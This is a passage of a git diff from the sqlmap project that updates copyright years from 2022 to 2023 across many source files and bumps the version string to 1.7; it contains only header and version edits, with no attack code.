a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/__init__.py b/lib/core/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/lib/core/__init__.py +++ b/lib/core/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/agent.py b/lib/core/agent.py index b3f870082..001486101 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 6bf001c5f..3cccd2d1e 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/common.py b/lib/core/common.py index bf2006d72..a691edc2a 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/compat.py b/lib/core/compat.py index 6a7a40769..851e57eb8 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/convert.py b/lib/core/convert.py index 4e7d02b62..c6f86aa1f 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/data.py b/lib/core/data.py index 13551fe30..c2b4325d7 100644 --- a/lib/core/data.py +++ b/lib/core/data.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 66dd10314..eadcb9cf7 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 3f23895d1..433ae3f95 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/defaults.py b/lib/core/defaults.py index d4109c94f..54410f6db 100644 --- a/lib/core/defaults.py +++ b/lib/core/defaults.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/dicts.py b/lib/core/dicts.py index baae9643b..157adc2ad 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/dump.py b/lib/core/dump.py index 308849704..2e3cdfde6 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/enums.py b/lib/core/enums.py index b5582f47f..188bd9fc3 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/exception.py b/lib/core/exception.py index 84eb88305..8e487ce30 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/gui.py b/lib/core/gui.py index 6b839eca3..fa6f26949 100644 --- a/lib/core/gui.py +++ b/lib/core/gui.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -223,7 +223,7 @@ def runGui(parser): helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) helpmenu.add_separator() - helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2022\n\n (%s)" % DEV_EMAIL_ADDRESS)) + helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2023\n\n (%s)" % DEV_EMAIL_ADDRESS)) menubar.add_cascade(label="Help", menu=helpmenu) window.config(menu=menubar) diff --git a/lib/core/log.py b/lib/core/log.py index 2737b3095..64e4f1b71 100644 --- a/lib/core/log.py +++ b/lib/core/log.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/option.py b/lib/core/option.py index 29570dcdb..465837620 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 573361b92..48343a494 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/patch.py b/lib/core/patch.py index ca333bc96..186814325 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/profiling.py b/lib/core/profiling.py index 9b39e1dd0..4fddab24a 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index a3cea35dc..0a6c1dd51 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/replication.py b/lib/core/replication.py index b21b1d19b..236d1ed44 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/revision.py b/lib/core/revision.py index 14e6b1b7f..7abd30cd0 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/session.py b/lib/core/session.py index 9357a5bb5..c50d7b03e 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/settings.py b/lib/core/settings.py index ad6ed8453..3223a88e4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.12.11" +VERSION = "1.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/shell.py b/lib/core/shell.py index e6ad40aa2..2ed47cecb 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/subprocessng.py b/lib/core/subprocessng.py index beb29f70a..36fdf6563 100644 --- a/lib/core/subprocessng.py +++ b/lib/core/subprocessng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/target.py b/lib/core/target.py index 0b3fe9592..7496d71b7 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/testing.py b/lib/core/testing.py index 96b93ee53..55e2d6598 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/threads.py b/lib/core/threads.py index cc0a5f572..4999b8491 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py index c68e0342b..4d9045149 100644 --- a/lib/core/unescaper.py +++ b/lib/core/unescaper.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/update.py b/lib/core/update.py index d85a39f06..dee1639eb 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index b634ed53f..781642bf5 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/lib/parse/__init__.py +++ b/lib/parse/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/banner.py b/lib/parse/banner.py index 45694b41c..42b4dddc1 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 9b809baa6..b6bb36fb4 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index c5e47b10a..6891d11b4 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/handler.py b/lib/parse/handler.py index 6815194e3..9b951810c 100644 --- a/lib/parse/handler.py +++ b/lib/parse/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/headers.py b/lib/parse/headers.py index 0526b8365..52786244c 100644 --- a/lib/parse/headers.py +++ b/lib/parse/headers.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/html.py b/lib/parse/html.py index b23fb7264..6e2aa6e36 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index 728beb97a..591abbfb7 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index 452f894e8..db2f0901e 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/__init__.py b/lib/request/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/lib/request/__init__.py +++ b/lib/request/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/basic.py b/lib/request/basic.py index d865575e1..c00fd0df6 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py index 440e918df..f7c8408d8 100644 --- a/lib/request/basicauthhandler.py +++ b/lib/request/basicauthhandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/chunkedhandler.py b/lib/request/chunkedhandler.py index 51f80aee4..b27599329 100644 --- a/lib/request/chunkedhandler.py +++ b/lib/request/chunkedhandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 261aacf14..c703b2bb9 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/connect.py b/lib/request/connect.py index 5c0a207aa..ffc06ad96 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/direct.py b/lib/request/direct.py index bbd7619d1..e56d2fb25 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/dns.py b/lib/request/dns.py index da126eb6e..92dfdc187 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index d862d0885..c9676a9c4 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/inject.py b/lib/request/inject.py index 7d584e8be..a52878316 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py index 92dacdb5d..8535557b4 100644 --- a/lib/request/methodrequest.py +++ b/lib/request/methodrequest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py index dc7dca40a..05a6ccf16 100644 --- a/lib/request/pkihandler.py +++ b/lib/request/pkihandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index 458c32ec2..ff0598cf0 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 2e3c393f3..4920c561b 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/templates.py b/lib/request/templates.py index d931e2058..bf673e277 100644 --- a/lib/request/templates.py +++ b/lib/request/templates.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/lib/takeover/__init__.py +++ b/lib/takeover/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index bb2faf01e..52f43ddde 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index be87387be..679a4cd45 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index b322fc44c..d4a8776b1 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index e5dcc18c8..a63ec04a2 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index d3b1a21c1..4a53de31d 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/web.py b/lib/takeover/web.py index 93cb79f23..95727407a 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index 52fea7745..c81375a45 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/__init__.py b/lib/techniques/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/lib/techniques/__init__.py +++ b/lib/techniques/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/__init__.py b/lib/techniques/blind/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/lib/techniques/blind/__init__.py +++ b/lib/techniques/blind/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 70bad65e0..d7353da7e 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/__init__.py b/lib/techniques/dns/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/lib/techniques/dns/__init__.py +++ b/lib/techniques/dns/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/test.py b/lib/techniques/dns/test.py index 7fe59ab60..c0c16679a 100644 --- a/lib/techniques/dns/test.py +++ b/lib/techniques/dns/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index 5c9d09dc9..d2c474fdc 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/error/__init__.py b/lib/techniques/error/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/lib/techniques/error/__init__.py +++ b/lib/techniques/error/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 078c04b4e..343733dd2 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/__init__.py b/lib/techniques/union/__init__.py index a5b83a8fa..8476fab2f 100644 --- a/lib/techniques/union/__init__.py +++ b/lib/techniques/union/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers 